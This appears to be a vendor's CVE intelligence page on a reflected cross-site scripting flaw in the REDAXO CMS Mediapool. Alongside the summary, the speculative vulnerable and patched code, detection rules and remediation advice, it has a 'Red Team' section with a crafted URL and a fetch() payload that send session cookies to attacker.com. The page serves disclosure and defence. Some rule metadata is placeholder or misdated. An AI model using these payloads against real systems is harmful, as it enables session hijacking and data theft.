☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Redaxo logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66026

CVE-2025-66026 Cross-Site Scripting in Redaxo
📅 PUBLISHED: 2025-11-26 02:01 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66026 is a reflected Cross-Site Scripting (XSS) vulnerability identified in REDAXO, a PHP-based Content Management System (CMS). The flaw resides in the Mediapool view, where the args[types] request parameter is rendered into an info banner without proper HTML-escaping. An authenticated attacker can craft a malicious link that, when visited by another authenticated user, executes arbitrary JavaScript in the backend context. This can lead to session hijacking, data theft, or further compromise of the CMS instance. The vulnerability is patched in REDAXO version 5.20.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

REDAXO is a PHP CMS distributed via its official website and GitHub repository. The vulnerability is not in a third-party package but in the core application code. Users should ensure they are using the latest patched version (5.20.1) and verify the integrity of their installation.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must click crafted link)
  • Scope: Changed (impact may extend beyond vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for authentication and user interaction reduces the immediate risk. However, in a shared backend environment, a single compromised account can be used to target other administrators.

Deep Dive & Mechanics

The vulnerability exists in the Mediapool view of REDAXO. When a user accesses the media pool, an info banner is displayed. The content of this banner is partially derived from the args[types] parameter in the HTTP request. The application fails to HTML-escape this parameter before rendering it, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An authenticated attacker crafts a URL containing a malicious payload in the args[types] parameter, e.g., https://target.com/redaxo/index.php?page=mediapool&args[types]=<script>alert('XSS')</script>.
  2. The attacker sends this link to another authenticated user (e.g., via email or internal chat).
  3. The victim, while logged into REDAXO, clicks the link.
  4. The server processes the request and renders the info banner with the unescaped payload.
  5. The victim's browser executes the injected JavaScript in the context of the REDAXO backend.

Impact: The attacker can perform actions on behalf of the victim, such as creating new admin accounts, modifying content, or exfiltrating sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 5.20.1):

// In mediapool view, likely in a file like mediapool.php
$types = rex_request('args[types]', 'string');
echo '<div class="info">' . $types . '</div>';

Patched Code (5.20.1):

// Properly escape the output
$types = rex_request('args[types]', 'string');
echo '<div class="info">' . rex_escape($types) . '</div>';

The rex_escape() function (or equivalent) HTML-encodes special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A REDAXO instance (version < 5.20.1)
  • Two authenticated user accounts (attacker and victim)

Exploit Steps:

  1. Log in as the attacker.
  2. Craft a malicious URL:
    http://target.com/redaxo/index.php?page=mediapool&args[types]=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Send this link to the victim (e.g., via email).
  4. When the victim clicks the link, their session cookie is sent to the attacker's server.

Example Payload (Steal Cookies):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Response)

Detection:

  • Monitor web server logs for requests to /redaxo/index.php with page=mediapool and suspicious args[types] parameters containing <script> or onerror etc.
  • Use WAF rules to block requests with HTML/JavaScript in the args[types] parameter.

Response:

  • Immediately patch to version 5.20.1.
  • If patching is not possible, implement a virtual patch by adding input validation in a reverse proxy (e.g., Nginx if block or ModSecurity rule).
  • Rotate all session cookies and force re-authentication for all users.
  • Review logs for any signs of exploitation.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /redaxo/index.php with page=mediapool and args[types] containing <script>, onerror, onload, or other event handlers.
    • Outbound connections from the REDAXO server to unknown IPs/domains (potential data exfiltration).
  • Host IOCs:

    • Unusual entries in REDAXO access logs showing the malicious parameter.
    • Presence of unexpected admin accounts or modified content.
  • File IOCs:

    • Modified core files (e.g., mediapool.php) if an attacker uploaded a backdoor.

Detection Engineering

YARA Rule

rule CVE_2025_66026_REDAXO_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66026 in REDAXO Mediapool"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66026"
    strings:
        $xss_payload = /args\[types\]=.*<script/i
        $xss_payload2 = /args\[types\]=.*onerror/i
        $xss_payload3 = /args\[types\]=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-66026 REDAXO Mediapool XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit reflected XSS in REDAXO Mediapool
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "page=mediapool"
            - "args[types]="
        cs-uri-query|re: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66026 REDAXO Mediapool XSS Attempt"; flow:to_server; content:"page=mediapool"; http_uri; content:"args[types]="; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade REDAXO to version 5.20.1 or later.
  2. Virtual Patch: If immediate patching is not possible, implement a WAF rule to block requests containing <script> or event handlers in the args[types] parameter.
  3. Input Validation: Add server-side validation to reject any args[types] values containing HTML tags.

Long-Term Measures:

  • Enforce output escaping for all user-controlled data.
  • Conduct regular security audits and penetration testing.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Educate users about phishing attacks targeting CMS backends.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66026/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.